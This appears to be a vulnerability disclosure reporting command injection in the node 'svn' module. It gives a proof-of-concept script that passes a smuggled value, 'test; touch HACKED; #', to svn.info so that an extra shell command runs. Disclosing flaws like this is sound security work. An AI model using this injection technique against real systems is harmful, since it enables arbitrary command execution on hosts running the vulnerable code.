Code Injection in courajs/node-svn
Valid
Reported on
May 2nd 2020
Description
The svn
module is vulnerable against RCE
since a command is crafted using user inputs
not validated and then executedading to arbitrary command injection
POC
- Create the following PoC file:
// poc.js
var SVN = require('svn');
var svn = new SVN('./working_copy');
svn.info("test; touch HACKED; #", function(){});
- Check there aren't files called
HACKED
- Execute the following commands in another terminal:
npm i svn # Install affected module
node poc.js # Run the PoC
- Recheck the files: now
HACKED
has been created
Occurrences
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